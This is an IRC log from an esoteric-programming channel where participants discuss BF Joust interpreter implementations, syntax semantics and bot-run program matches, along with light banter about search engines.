16:58:53 <quintopia> Vorpal: atsmega chips are also used in arduino clones. i refer to the entire family of products by the shorthand "arduino"
16:59:08 <Vorpal> quintopia, atmega*
16:59:16 <quintopia> wutev
16:59:25 <fizzie> quintopia: That's like calling all kinds of searching "googling". How dares you.
16:59:43 <quintopia> ...people use search engines other than google?
16:59:47 <Vorpal> quintopia, dude, I use ATmega chips in a course at university currently :P I know them well atm :P
17:00:02 <fizzie> There's that bingbong thing, some people I think do use it.
17:00:21 <Vorpal> quintopia, yes... I use grep, find and locate as local search engines
17:00:22 <quintopia> but even it uses google, so technically speaking, they're still googling
17:00:44 <quintopia> Vorpal: i thought that's what google desktop search was for? >_>
17:00:48 <Vorpal> quintopia, "windows live search". As much as I hate it, people use them.
17:00:51 <Vorpal> quintopia, "google desktop"?
17:00:58 <Vorpal> s/them/it/
17:01:54 <Sgeo> Someone was surprised when I used Bing. I only used Bing because I was too lazy to switch the search bar to Google
17:01:55 -!- asiekierka has quit (Ping timeout: 276 seconds).
17:01:58 <quintopia> i've never heard of windows live search. lemme google it real quick.
17:02:02 <fizzie> Vorpal: That would be better completely flipped; "as much as I hate them, people use it."
17:02:13 <Vorpal> fizzie, XFD
17:02:15 <Vorpal> XD*
17:02:35 <quintopia> Gregor: have you made "death" not suck yet?
17:03:05 <Vorpal> quintopia, "death"? Is that one of his projects?
17:03:35 <fizzie> I thought that was, in a sense of speaking, everyone's project...
17:03:43 <quintopia> it's a song snippet from the game he's composing for
17:03:52 <quintopia> but it doesn't sound very deathy last i heard
17:03:57 <Vorpal> quintopia, got a link?
17:04:01 <quintopia> it sounds more like a dream sequence
17:04:04 -!- Tritonio has joined.
17:04:09 <Vorpal> quintopia, I love his music
17:04:14 <quintopia> http://codu.org/tmp/death-2011-02-12-2.ogg
17:04:29 -!- elliott has joined.
17:04:37 <quintopia> elliott! did you finish lance?
17:04:49 <elliott> fuck you i just got up
17:04:51 * Sgeo lances quintopia
17:04:53 <quintopia> how dare you show your face in here before having finished lance?
17:05:07 <quintopia> :P
17:05:13 <Vorpal> quintopia, perfect bad dream yeah!
17:05:36 <ais523_> <Sgeo> Someone was surprised when I used Bing. I only used Bing because I was too lazy to switch the search bar to Google <--- pretty much the explanation for all use of Bing
17:05:40 <Vorpal> elliott, your sleep schedule. It's fucked
17:05:53 <elliott> no shit
17:06:00 <Vorpal> elliott, yes shit!
17:06:04 <elliott> ais523_: haha, i've done that too
17:06:07 <ais523_> that, and the Windows malware that sets your default search engine to Bing and adds affilate identifiers, so they get referral revenue from it
17:06:59 <elliott> someone make a site that's a reskin of bing and google, and then /etc/hosts a relative's google.com there
17:07:01 <Vorpal> ais523_, ... that exists?
17:07:04 <elliott> *reskin of bing to look like google
17:07:06 <elliott> see if they notice
17:07:26 <ais523_> Vorpal: yep
17:07:26 <elliott> 10:41:16 <oerjan> <elliott> Gregor: Would you hold it against me if I used an actual parser generator for lance rather than hacking up this awful thing? X-D <-- ah. that may be a problem since the language isn't CF. (see previous comment)
17:07:28 <elliott> :D
17:07:35 <elliott> i love how new bf joust isn't context free
17:07:35 <ais523_> elliott: they don't notice anyway, most likely
17:07:47 <elliott> ais523_: a slightly more savvy relative then
17:07:52 <ais523_> there was that case where a news story about Facebook managed to beat Facebook in a Google search
17:08:01 <ais523_> and lots of people tried to log into Facebook via its comments form
17:08:08 <elliott> 10:55:24 <oerjan> conclusion: he composes electronic music for porn films
17:08:09 <elliott> ais523, you have not confirmed nor denied this.
17:08:14 <ais523_> no, I haven't
17:08:19 <elliott> that's _suspicious_.
17:08:21 <ais523_> but it seems pretty believable
17:08:28 <ais523_> oh, wrong conversation
17:08:28 <elliott> aha! admission!
17:08:33 <elliott> ...haha
17:08:36 <Vorpal> haha
17:08:37 <fizzie> elliott: I stole your name for a small alternative egojoust-reimplementation... I don't know what the right word is, "trick" or "experiment" or something.
17:08:46 <elliott> fizzie: What, "lance"?
17:08:50 <ais523_> I need to know more context before I can sensibly confirm or deny it, anyway
17:08:51 <Vorpal> <elliott> 10:55:24 <oerjan> conclusion: he composes electronic music for porn films <-- how did he reach that conclusion?
17:08:52 <elliott> fizzie: You do realise lance is 3/4ths done already?
17:08:52 <fizzie> elliott: I called it "chainlance".
17:09:00 <fizzie> But it's still name-stealing.
17:09:01 <elliott> fizzie: Heh, what does it do.
17:09:10 <elliott> I'll just absorb its features into lance and then sue you.
17:09:14 <elliott> You horrible person.
17:09:23 <fizzie> Translates to x86-64 asm, basically. But it's not much of a win because of the strict cycle-alternation stuff.
17:09:26 <elliott> 12:57:47 <oerjan> jix_wiggle2 would have been a good candidate for (({{}})) if it was slightly more ordered instead of trying that hard to be unpredictable
17:09:27 <elliott> :D
17:09:45 <Vorpal> fizzie, with the right register allocation it could help
17:09:48 <elliott> fizzie: I can already simulate the longest possible battle in 1/10th of a second :P
17:10:02 <ais523_> elliott: even with insane programs?
17:10:09 <elliott> So on a 100-big hill filled of programs that do + forever, it would take 10 seconds to try a new warrior.
17:10:14 <Vorpal> elliott, given fully expanded source code?
17:10:21 <elliott> Vorpal: Probably.
17:10:36 <fizzie> 100-big hill involves 100*99 = 9900 duels.
17:10:39 <elliott> Note that it also detects when both programs stop executing and ties immediately.
17:10:51 <ais523_> fizzie: but only 100 duels to test a new warrior
17:10:55 <elliott> What ais523_ said.
17:10:57 <quintopia> cuz of cache
17:10:58 <elliott> You don't redo the hill every time.
17:11:19 <elliott> (Most normal matches end in less than 0.06 seconds so far :P)
17:11:27 <elliott> But I haven't finished implementing {} yet.
17:11:31 <elliott> So I haven't extensively tested yet.
17:11:36 <fizzie> elliott: Well, I get a 100000-cycle match done in 3/100ths of a second. :p
17:11:55 <elliott> fizzie: Well lance is better because I said so. :|
17:11:56 <ais523_> 100000, or 384000?
17:12:08 <fizzie> ais523_: 100k, it's trying to be egojoust-compatible.
17:12:12 <ais523_> ah, OK
17:12:15 <elliott> Is it compatible in its broken %?
17:12:22 <quintopia> ais523_: what is the "booster" in decoybooster meant to refer to?
17:12:32 <elliott> 15:27:19 <Gregor> oerjan: Why are you not here now :P
17:12:32 <elliott> 15:27:35 <Gregor> high_fructose_corn_philip's canonical implementation uses (({{}}))
17:12:32 <elliott> 15:28:06 <Gregor> Works on egojsout, but not egojoust
17:12:32 <elliott> Gregor: Was it actually... useful?
17:12:34 <ais523_> quintopia: using decoys in order to allow bigger decoys
17:12:50 <quintopia> ah
17:12:53 <elliott> 15:46:49 <Vorpal> <ais523_> besides, I care more about playing than winning <--- what, someone actually believes that playing is more important than winning
17:12:54 <elliott> hey, I play egojoust and never win
17:12:58 <elliott> *bfjoust
17:13:04 <quintopia> i would have said "staller" :P
17:13:06 <Vorpal> elliott, yes but you aim to win still
17:13:10 <Vorpal> that is your goal
17:13:13 <fizzie> elliott: Well... It doesn't do the non-matching-[s-in-() at all and replaces (foo{bar}baz)%n with a (foo)*n bar (baz)*n as a preprocessing step. I'm not seriously advocating it as a replacement, after all.
17:13:16 <elliott> Aim, but don't care about.
17:13:24 <Vorpal> elliott, indeed. Which is different
17:13:26 <elliott> fizzie: Oh, so it has totally broken % :P
17:13:52 -!- Tritonio has quit (Quit: Leaving).
17:13:55 <elliott> And seemingly runs redundant polarities. PFFFFFFFFFFFFFFFFFFFFFFFT
17:13:58 <Sgeo> I play too crappily to ever think I have a chance of winning
17:14:02 <ais523_> Gregor: there's an obviousish fix to HFCP; you check 0, 1, 2, 3, 4, 5, 6, 7, 8, 7, 6, 5, 4, 3, 2, 1, 0, -1, -2, -3, -4, -5, -6, -7, -8 before assuming a large decoy and doing the adjustment by 128
17:14:09 <ais523_> why do you check 0..7 twice?
17:14:11 <fizzie> elliott: It doesn't run redundant polarities, it just does the *2 thing. :p
17:14:38 <elliott> So does ([{x}])%n not even work, fizzie "I THINK I CAN COMPETE WITH LANCE, THE BEST PROGRAM EVER, HAHA" fizzie?!?!?!!
17:14:43 <Sgeo> !bfjoust loop_suicide [-]
17:14:57 <ais523_> !bfjoust slow_shudder (+.-.)*100000
17:15:17 <elliott> why does everyone keep submitting the same idiotic programs :P
17:15:17 <quintopia> that's not a shudder. that's a vibrator.
17:15:19 <fizzie> elliott: Well, no, obviously not, since it turns into ([)*n x (])*n -- I just wanted to, you know, try the theory out in practice.
17:15:24 <fizzie> Vorpal: There's a generated-code example at http://p.zem.fi/bd54
17:15:25 <quintopia> (vibrator? hardly know 'er!)
17:15:33 <ais523_> quintopia: what's the difference? I thought vibrators went to 0 every second turn
17:15:53 <elliott> fizzie: I'm sorry, I *believe* that you have *lost* *forever* and are *bad*. Carry on.
17:16:04 * elliott goes back to lance, cries about performance
17:16:11 <quintopia> ais523_: well, call it an alternator then. the point is, it doesn't change its average value on its own)
17:16:26 <ais523_> ah, I see
17:16:32 <ais523_> making that change the average value would just suicide, though
17:16:51 <quintopia> yes
17:16:53 <ais523_> also, why is breakdown not updating? egojoust doesn't seem to have even started running
17:17:06 <elliott> because egojoust sucks
17:17:07 <elliott> any questions
17:17:09 <ais523_> !c printf("test\n");
17:17:18 <quintopia> it does that every now and then
17:17:27 <Vorpal> lagged to hell I bet
17:17:39 <elliott> lance debugger: TOTES GONNA BE CALLED "GUINEVERE"
17:17:41 <EgoBot> test
17:17:57 <fizzie> I wanted to consider llvm asm, but the "alternate between programs" would have meant some pretty awkward-looking code. (At least based on what little I remember of llvm ops.)
17:18:01 <elliott> ;; run through all tape sizes with progA vs progB
17:18:01 <elliott> xor rTapeSized, rTapeSized
17:18:07 <elliott> fizzie: Don't you know that mov 0 is _faster_ these days?
17:18:10 <elliott> Clearly this man knows nothing of performance
17:18:40 <ais523_> `run ps aux | grep ego | grep -v grep
17:18:59 <fizzie> Can you provide references for that? I can believe xor a, a is no longer a win, but it sounds a bit strange that it'd actually be slower.
17:19:16 <ais523_> elliott: I thought mov was faster into memory, and xor-with-self was faster in registers (due to taking the same number of cycles and being a shorter opcode)
17:19:29 <ais523_> (and thus fitting into cache more easily)
17:19:30 <elliott> fizzie: It was Wikipedia commenting on Abrash or something, saying that "mov 0" had been OPTOMIZED(tm) because, you know, it's common.
17:19:36 <elliott> The xor version is of course shorter.
17:19:39 <HackEgo> 5000 1458 0.2 0.0 3640 388 ? SN 17:39 0:00 ../../../slox/slox 25 ../report ../egojoust ../cache Deewiant_maglev.bfjoust Deewiant_monorail.bfjoust Deewiant_sloth.bfjoust Deewiant_steamroller.bfjoust Gregor_high_fructose_corn_philip.bfjoust Gregor_julius_freezer.bfjoust Gregor_lead_acetate_philip.bfjoust
17:19:56 <elliott> fizzie: "For example, the bit-oriented "XOR EAX, EAX" (example in Intel assembler syntax) instruction was the fastest way to set a register to zero in the early generations of the x86, but most code is generated by compilers and compilers rarely generated XOR instructions, so the IA designers decided to move the frequently occurring compiler generated instructions up to the front of the combinational decode logic, making the literal "MOV EAX, 0"
17:19:56 <elliott> instruction execute faster than the XOR instruction."
17:19:58 <ais523_> that's a strange thing for it to be held up on
17:20:03 <quintopia> no
17:20:11 <quintopia> that's egojoust it's held up on
17:20:13 <elliott> ais523_: report runs all the matches
17:20:32 <ais523_> yep, but it's the list of programs there that's weird
17:20:33 <EgoBot> Score for ais523__slow_shudder: 16.1
17:20:33 <EgoBot> Score for Sgeo_loop_suicide: 20.0
17:20:35 <ais523_> ah, it's running now
17:20:54 <quintopia> ais523_: report takes a list of programs as arguments
17:20:59 <Sgeo> Well, that's interesting
17:21:03 <quintopia> all the programs in the programs folder
17:21:23 <elliott> 16:24:14 <Gregor> ais523_: 100K
17:21:26 <elliott> Gregor: nope, 10K
17:21:32 <elliott> (cut off repeats)
17:21:33 <Sgeo> Who did I win against?
17:21:38 <quintopia> Sgeo: if you kill yourself slow enough, some programs kill themselves first :P
17:21:56 <elliott> 16:27:54 <fizzie> !bfjoust lostkng http://p.zem.fi/lostkng
17:21:56 <elliott> 16:27:59 <fizzie> (The most sensible thing.)
17:22:01 <elliott> fizzie: is this what you wrote chainlance for? :D
17:22:12 <elliott> 16:29:04 <ais523_> wow, lostkng's beating more or less everything on tape lengths 11 and 14
17:22:14 <elliott> hahaha, wow
17:22:14 <fizzie> No, it runs reasonably fast with stock egojoust too. :p
17:22:32 <elliott> The only thing that needs speeding up are * and {} really.
17:22:35 <ais523_> slow_shudder actually does pretty well
17:22:38 <elliott> Lostkng runs fast because it has none.
17:22:43 <elliott> Gregor: ping
17:22:45 <Sgeo> quintopia, ais523's program should have been like a noop, why'd it score worse?
17:23:01 <ais523_> Sgeo: mine's not like a no-op at all
17:23:02 <quintopia> check the report!
17:23:17 <ais523_> it draws with two-cycle clears, but only on every other tape length
17:23:22 <elliott> how on earth would ais523_'s be a nop?
17:23:22 <ais523_> no-ops don't do that
17:25:48 <elliott> Maybe I'll replace my strange program format with structs.
17:25:59 <elliott> Rather than storing instruction parameters as the instruction after the instruction.
17:26:23 <elliott> 17:01:21 <ais523_> because the > happens during the turn, whereas flag loss is measured at the end of the turn
17:26:23 <elliott> ooh
17:26:29 <elliott> ais523_: I check for flag loss at the start of a turn
17:26:33 <elliott> although i suppose that's equivalent
17:26:37 <ais523_> yep
17:26:50 <ais523_> "between turns", you could say
17:26:56 <elliott> I also handle draws when both of your flags go to 0 at the same time, when both your programs end and neither of your flags are 0, and when both pointers run off the tape.
17:27:02 <elliott> I'm just THAT FAIR.
17:27:37 <elliott> 17:04:36 <ais523_> also, what's with the topic?
17:27:38 <elliott> you mean
17:27:40 <elliott> 00:53:08 • elliott changed the topic to: Sorry about that outburst, but it is for your own good, as #esoteric is not a very noob-friendly channel, and you can expect to receive abuse at the drop of a hat. | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D
17:27:41 <elliott> ?
17:28:16 <elliott> ais523_: it's a quote from this post about bf joust by quintopia telling people to /msg egobot rather than come into #esoteric because we're evil and kick puppies :D
17:28:17 <elliott> http://forums.xkcd.com/viewtopic.php?f=11&t=68422
17:28:56 <elliott> fizzie: how is http://p.zem.fi/erep different to the standard report?
17:29:02 <ais523_> oh, quintopia trying to advertise BF Joust on xkcd?
17:29:13 <elliott> ais523_: ages ago
17:29:28 <elliott> oh
17:29:29 <elliott> feb 9
17:29:31 <elliott> not ages then
17:29:38 <quintopia> no, recently.
17:29:51 <quintopia> my goal is actually to have a separate competition not involving the current hill
17:29:54 <elliott> thankfully nobody replied, it'd get really annoying checking the report every few hours and noting that ten new programs you don't know about appeared and are beating all of yours :D
17:29:57 <quintopia> but i don't think anyone will reply
17:30:03 <ais523_> I suspect it works better on Reddit, and if you just say "hey, there's this ongoing game, join in if you want" rather than "let's have a separate competition"
17:30:13 <ais523_> more or less like "join Agora/Blognomic" tends to work better than "let's start a nomic"
17:30:18 <elliott> quintopia: I think when you told people to download hg and compile shit they sort of stopped reading.
17:30:28 <elliott> quintopia: Or, you know, suggested programming in brainfuck.
17:31:10 <quintopia> elliott: nah, it's just that the coding forum is no longer as fun as it used to be. two years ago I ran a similar competition for people to write their own versions of bf_txtgen
17:31:17 <quintopia> and tons of people entered
17:31:25 <elliott> as xkcd gets stupider, the people who read xkcd get stupider.
17:31:27 <quintopia> even though they had to download and install the checker
17:31:48 <quintopia> possibly
17:35:35 <elliott> ais523_: you'll be pleased to know that i've managed to break lance's ()* checking while implementing {} parsing
17:35:48 <ais523_> why would I be pleased to know that?
17:35:53 <Sgeo> I'll be pleased to see your commit messages
17:35:56 <elliott> ais523_: it's innovation!
17:36:01 <elliott> Sgeo: it's not in VC.
17:36:07 <ais523_> hmm, technically speaking, I don't have to be pleased at that now, just later, to make your statement true
17:36:29 <quintopia> take your time
17:36:35 <Sgeo> to trust in me
17:37:33 <Vorpal> ais523_, hah
17:37:54 <ais523_> Vorpal: it isn't that funny...
17:40:41 -!- impomatic has joined.
17:40:46 <impomatic> Hi :-)
17:41:10 <quintopia> sup
17:42:27 -!- nescience has joined.
17:43:10 <elliott> 32 megabytes in global variables!
17:44:02 <quintopia> elliott: i found a picture of you and your dad! http://www.bestworstadvice.com/photo-advice/feel-like-youre-losing-touch-with-your-son/
17:44:15 <elliott> I SEE
17:44:24 <ais523_> I take it this is trolling?
17:44:25 <ais523_> hi impomatic
17:45:59 <elliott> switch ((progs[prog]++)->ins) {
17:46:04 <elliott> wow that switch statement is perverse
17:47:00 <nescience> man I need a computer but I won't be able to try anythin until tonight :(
17:47:42 <nescience> how's lance coming, elliott?
17:48:22 <fizzie> elliott: The table of +s, -s and 0s is sorted according to score too.
17:48:40 <ais523_> hmm, what happened to Lymia?
17:50:17 <quintopia> that personage, after completely unravelling and breaking the game of fyb, disappeared.
17:51:15 <elliott> nescience: good
17:51:28 <nescience> excellent ;)
17:51:50 <nescience> I thought of a legitimate use for ([)*n type code though
17:52:04 <nescience> can't figure an analogue with ({})
17:52:07 <Sgeo> breaking?
17:52:22 <nescience> actually it's a thing I tried earlier but didn't flesh out
17:52:58 <quintopia> is something like [[[[[[[a]b]a]b]a]b]a]
17:53:04 <nescience> but you didn't say it'd be illegal, just undesirable so I am ok with that :P
17:53:06 <nescience> nah
17:53:10 <nescience> it's more like
17:53:31 <nescience> >[-++<
17:53:46 <nescience> >[-++<<
17:53:47 <nescience> etc.
17:54:38 <nescience> can't do (>[-++{}<]) because it adds extra tests that might make it suicide
17:55:20 <ais523_> quintopia: ([[{a}]b]a)%3
17:55:34 <elliott> nescience: i think you could do that with {}. maybe.
17:55:51 <nescience> see above
17:55:58 <elliott> ais523_: btw Gregor's "preferred" version of a current contestant involves nested %, so I'm going to see how he does it and then decide to maybe reinstate %
17:56:01 <nescience> try and write it :P
17:56:09 <elliott> nescience: welp, manually expand it
17:56:22 <elliott> nescience: it's not like you're going to have 5000 of them :)
17:56:59 <ais523_> elliott: you should definitely treat % and * with their specced meaning, whether you treat them as equivalent to acccomplish that or not
17:57:05 <ais523_> *accomplish
17:57:06 <nescience> ugly and hard to count ]
17:57:08 <nescience> anyway
17:57:14 <elliott> nescience: use a proper editor that matches ]s...
17:57:18 <elliott> ais523_: we agreed to eliminate %, actually.
17:57:23 <quintopia> ais523_: [a[b[c[a[b[c[a[b[c]b]a]b]a]b]a]b]a] this can be done with % but would be a whole lot compacter with ([)*
17:57:28 <nescience> rolleyes
17:57:32 <ais523_> elliott: well, you're using ({}), aren't you?
17:57:38 <elliott> nescience: not rolleyes, _any_ editor can match ]
17:57:40 <elliott> apart from notepad
17:57:45 <elliott> ais523_: but if Gregor's use turns out to be... useful, % will be reinstated
17:58:07 <nescience> point is just that it's not really necessary to disallow the syntax
17:58:14 <ais523_> what I mean is, I want to be able to write something like (a[{b}]c)%1000 efficiently
17:58:21 <elliott> nescience: yes, it is
17:58:26 <nescience> and it would be useful in some cases to allow it
17:58:27 <elliott> expanding it is costly
17:58:32 <ais523_> and ideally that syntax should work, even if you treat it as (a[{b}]c)*1000 internally
17:58:37 <ais523_> in neither case would you need an expansion
17:58:38 <nescience> don't expand it
17:58:43 <elliott> you can't avoid expanding it
17:58:48 <elliott> that's why % was invented
17:58:48 <nescience> sure you can
17:58:52 <elliott> no
17:59:05 <nescience> if you have 8 [s in a row and it can be parsed
17:59:06 <elliott> ais523_: no, we agreed to remove the % syntax as redundant
17:59:10 <ais523_> in order to do the abcabc....baba thing above, you have to expand it at least to ([a[b[c[a[b[c{a}b]a]b]a]b]a])%2, or whatever
17:59:18 <nescience> so too with 8 [s on one cell
17:59:20 <ais523_> elliott: redundant's no reason it shouldn't be allowed to preserve backwards compat
17:59:30 <elliott> ais523_: I'm not arguing over it, we already agreed :P
17:59:31 <nescience> you always have to know which one you are on anyway
17:59:34 <ais523_> if nothing else, % serves as a visual clue to look at the {}
17:59:35 <ais523_> and no we didn't
17:59:36 <elliott> But it depends if Gregor's found a good usecase.
17:59:42 <ais523_> I agreed it was OK for you to keep the two internally
17:59:45 <elliott> ais523_: All the rest of us did and I /did/ ask you and you said yes.
17:59:50 <elliott> anyway, you don't own the BF Joust spec...
18:00:09 <ais523_> and I don't see how gregor's usecase makes any difference as to whether it should be notated with % or with *
18:00:13 <nescience> apparently you do though? :P
18:00:27 <ais523_> I'm fine with you allowing ({})* as an alternative syntax to ({})%, too, even though it's confusing
18:00:35 <elliott> ais523_: because it's ambiguous with just *... except that the case that requires explicitly marking %s seemed totally useless
18:00:47 <ais523_> in what way is it ambiguous with just */
18:00:53 <ais523_> s/\/$/?/
18:00:53 <elliott> nescience: but no, ([)*n is definitely not efficiently doable
18:00:59 <elliott> ais523_: ((a{b}c)*m)%n
18:01:12 <nescience> by efficient you mean without expansion?
18:01:15 <elliott> ais523_: other kinds of nesting
18:01:17 <elliott> nescience: yes
18:01:21 <elliott> ais523_: if you s/%/*/, then this will be parsed as the old ((a{b}c)%m)*n
18:01:23 <ais523_> elliott: oerjan and I agreed that was meaningless, I think
18:01:28 <nescience> that's untrue
18:01:31 <elliott> ais523_: not meaningless, just useless
18:01:42 <elliott> ais523_: but Gregor's using it in an actual program on the hill (but not in that version, since egojoust doesn't support it)
18:01:45 <elliott> (but he's using it in egojsout)
18:01:46 <ais523_> what does (a{b}c{d}e)%2 expand to?
18:01:56 <elliott> aabccdee
18:01:57 <elliott> obviously
18:01:58 <nescience> when you encounter "stacked" [] you already have to keep track of your depth, yes?
18:02:04 <elliott> nescience: no
18:02:15 <nescience> are you seeking matches or pre-processing and storing pointers?
18:02:20 <elliott> latter obviously
18:02:34 <nescience> hey I'm just being clear
18:02:36 <elliott> :P
18:02:51 <nescience> why don't you need to track depth? you don't loop forever
18:03:01 <elliott> i have no idea what you mean
18:03:15 <elliott> case LOOP:
18:03:15 <elliott> if (!saves[prog]) {
18:03:15 <elliott> progs[prog] = progs[prog].jmp;
18:03:15 <elliott> goto nonext;
18:03:15 <elliott> }
18:03:16 <elliott> break;
18:03:18 <elliott> case POOL:
18:03:20 <nescience> if I'm missing something please set me straight before I proceed :P
18:03:20 <elliott> if (saves[prog]) {
18:03:20 <ais523_> I don't consider that obvious at all, as it unmatches brackets: ([{x}][{y}])%2 would become [[x][][y]] which matches the wrong [ with the wrong ]
18:03:24 <elliott> progs[prog] = progs[prog].jmp;
18:03:26 <elliott> goto nonext;
18:03:28 <elliott> }
18:03:30 <elliott> break;
18:03:32 <elliott> does that answer your question?
18:03:34 <elliott> LOOP is [, POOL is ]
18:03:39 <elliott> ais523_: well, (a{b}c{d}e)%2 wasn't allowed
18:03:42 <nescience> real hard to read on phone
18:03:42 <elliott> just the form i showed
18:03:52 <elliott> (arguably, that's perverse)
18:03:53 <elliott> anyway
18:04:03 <elliott> I'm going to have to see how Gregor uses it before I can make any kind of opinion
18:04:22 <nescience> just verifying that you have to store some information about how many ] deep you are
18:04:25 <ais523_> elliott: well, (([{x}])*2)%2 would come to the same thing
18:04:27 <nescience> er [
18:04:28 <elliott> nescience: I don't
18:04:38 <nescience> so you know how many ] to test
18:04:44 <elliott> what?
18:04:52 <nescience> ok example code time
18:05:52 <nescience> I see, you only store counters on the (), yes?
18:06:03 <nescience> well that doesn't conflict with what I am getting to
18:06:21 <elliott> you realise that (a{b}c)%n was _invented_ because ([)*n is a huge pain to do without expansion?
18:07:02 <elliott> lance.c:138: error: label at end of compound statement
18:07:03 <elliott> stupid C
18:07:46 <quintopia> so, does anyone here like long-distance remote control robots?
18:07:47 <nescience> each [ pairs with a specific ]; all you need is to tie them together. so you track depth when pre parsing and have a list of pointers or something like that. you can store the depth in the same way you store loop counts, and it will indicate which item in the list to go to
18:07:55 <Gregor> <elliott> ais523_: btw Gregor's "preferred" version of a current contestant involves nested %, so I'm going to see how he does it and then decide to maybe reinstate % // no. The case for nesting back and forth hasn't been made.
18:08:03 <quintopia> http://www.youtube.com/watch?v=mz4FshiMu3U <-- robot ordering scones in a coffee shop, also awesome
18:08:12 <elliott> Gregor: So yours is just ((a{b}c)*n{d}e)*n?
18:08:13 <elliott> Or?
18:08:23 <Gregor> Lemme just pastebin :P
18:08:26 <ais523_> elliott: http://codu.org/eso/bfjoust/in_egobot/Gregor_high_fructose_corn_philip.bfjoust
18:08:38 <ais523_> it would make sense if you could somehow RLE the repeated rows of that
18:08:42 -!- copumpkin has quit (Ping timeout: 276 seconds).
18:08:45 <elliott> ais523_: umm, that's not the version he prefers
18:08:46 <Gregor> http://pastebin.com/vTLvx2mM
18:08:50 <elliott> because the version he prefers doesn't work with egojoust
18:08:59 <ais523_> elliott: indeed, I'm mentioning that that is clearly contractable
18:09:01 <elliott> Gregor: BTW, please tell nescience that I'm really not going to devote effort to making (A[B)*nC(D]E)*n work beyond a simple preprocessor until programs that do that get replaced :-P
18:09:09 <elliott> I still doubt it can be done efficiently
18:09:18 <Gregor> nescience: Yeah, that's bad.
18:09:29 <Gregor> And can always be replaced by (...{...}...)
18:09:31 -!- copumpkin has joined.
18:09:41 <nescience> see above example?
18:09:47 <Gregor> #4 DAMN IT
18:10:01 <elliott> Gregor: Oh yeah, nescience wants to do it with *n *m
18:10:02 <nescience> unless you can nest those constructs which is confusing as hell
18:10:06 <elliott> where n=/=m
18:10:08 <elliott> making it like 10x as evil
18:10:16 <elliott> My preprocessor won't even do that X-D
18:10:27 <ais523_> Gregor: umm, the outside % is meant to match the inside {} there?
18:10:43 <Gregor> ais523_: Yes
18:10:43 <nescience> I'm just saying it won't take more memory to process it with () than it would fully expanded
18:10:52 <Gregor> When you find a {, you match it against the nearest not-yet-matched (
18:10:58 <ais523_> ah, OK
18:10:59 <nescience> AND that it's not difficult to interpret without expansion
18:11:31 <elliott> Gregor: So those {}s all match the closest (), right?
18:11:32 <Gregor> I can't find the example and am not willing to look, having unmatched [] in () = pain, Idonwanna.
18:11:35 <nescience> particularly when you make a pass before execution to store pointers
18:11:38 <elliott> Or does the nested one actually match the _previous_ one?
18:11:41 <Gregor> elliott: The closest not-yet-matched (
18:11:53 <Gregor> elliott: The innermost { matches the second-outermost (
18:12:02 <elliott> Gregor: The way I interpret it, (a{b{c}d}e) would all belong to the same.
18:12:07 <elliott> Gregor: Your interpretation is a bit ... perverse.
18:12:10 <elliott> But I can do that.
18:12:12 <elliott> Probably.
18:12:29 <nescience> your love of the word perverse is perverse ;)
18:12:33 <Gregor> elliott: You could have multiple nested {}s in one ()? That makes no sense.
18:12:47 <Gregor> And mine makes philip possible :P
18:12:50 <elliott> Gregor: That's true :P
18:13:22 <elliott> Gregor: (a[{b[({[(a[b]c)%2]})*3]c}d]e)%42
18:13:23 <elliott> Gregor: FEAR
18:13:33 <elliott> Note: Makes no sense :P
18:13:43 <nescience> my eyes
18:14:49 <elliott> Gregor: So, basically, we still don't need % any more.
18:14:58 <Gregor> elliott: Right.
18:15:29 <Gregor> You only need them if you allow multiple {} within one (), and specifically allow that to be introduced by ()*
18:15:35 <Gregor> *within one ()%
18:16:30 <elliott> Gregor: Which sounds quite perverse. :p
18:16:36 <elliott> perverse perverse perverse perverse perverse perverse perverse perverse perverse perverse perverse perverse perverse
18:16:40 <nescience> lols.
18:17:42 <nescience> I might have to try and hack on egojoust (or lance) to try and make the idea I want to try easier to implement
18:18:18 <elliott> nescience: Just write a generator program :P
18:18:22 <elliott> We don't need a huge macro language.
18:18:35 <nescience> that's not what I meant
18:18:43 <Gregor> Wait for lance.
18:18:45 <Gregor> Don't hack egojoust.
18:18:49 <Gregor> Or hack egojsout
18:18:54 <nescience> and the argument before is for keeping existing behavior, not making anything huge
18:18:57 <nescience> lol
18:19:11 <nescience> I just want to get some information more easily ;)
18:19:22 <nescience> I'll probably end up just doing it by hand though
18:19:26 <Gregor> Y'know, egojsout is a legit, by-the-book non-expanding interpreter. Its code is really pretty nice.
18:19:29 <ais523_> !bfjoust dta2 (+)*32(>)*4(>[+[--[>(>[+[--[(-)*120[-]]]])*21]]])*23(>++[-])*2
18:19:49 <elliott> Gregor: You are not integrating egojsout :P
18:19:53 <elliott> Gregor: Lance is, like, almost done.
18:19:54 <nescience> I'm not handy enough with c that it would be definitely less work
18:19:57 <Gregor> elliott: Good lord no.
18:20:09 <Gregor> elliott: I'm just saying it's not a bad platform to hack at just for experimental purposes.
18:20:12 <elliott> But yeah, egojsout is really helpful.
18:20:14 <elliott> Gregor: Agreed.
18:20:19 <elliott> Gregor: Except for JS and all that, but.
18:20:30 <nescience> I might be able to get what I want from egojsout
18:20:41 <ais523_> I suspect that'll do worse because it loses to most defence programs
18:20:56 <nescience> dunno yet, still haven't played with it from a screen bigger than like 3"
18:21:40 <ais523_> aha, what if I make double_tripwire_avoider trail?
18:22:08 <ais523_> !bfjoust double_tripwire_avoider (+)*20(++>)*4(-->[>(>[+[--[(-)*120[-]]]])*21])*23(>++[-])*2
18:22:18 <nescience> eventually you'll be jumping so many cells :P
18:22:22 <Gregor> Man, once defend13 has you in a jam, you're just friggin' dead.
18:22:29 <elliott> Gregor: Not if you're antidefend13.
18:22:33 <elliott> Is antidefend13 still on the hill?
18:22:34 <Gregor> elliott: :P
18:22:36 <elliott> Because it's genius.
18:22:38 <ais523_> it didn't last very long
18:22:40 <nescience> tripwires will just add more decoys
18:22:47 <elliott> ais523_: But it was awesome!
18:22:53 <elliott> It made defend13 go into stupid mode :P
18:23:05 <ais523_> ah no, it's still there
18:23:10 <elliott> Ha
18:23:21 <elliott> ais523_: It beats all of your defend programs IIRC
18:23:24 <ais523_> `run ps aux | grep ego | grep -v grep
18:23:24 <Gregor> I'm trying to decide if there's any way that something akin to lead_acetate_philip could beat defend13.
18:23:25 <elliott> And just about nothing else
18:23:26 <Gregor> I don't think there is.
18:23:41 <elliott> Gregor: Do what defend13 does, detect defend13 and choose a different strategy :P
18:23:50 <quintopia> Gregor: watch defend9 vs. wireless. it's a *thing of beauty*
18:23:50 -!- cheater00 has quit (Ping timeout: 240 seconds).
18:23:52 <nescience> doesn't beat impomatic's defenders?
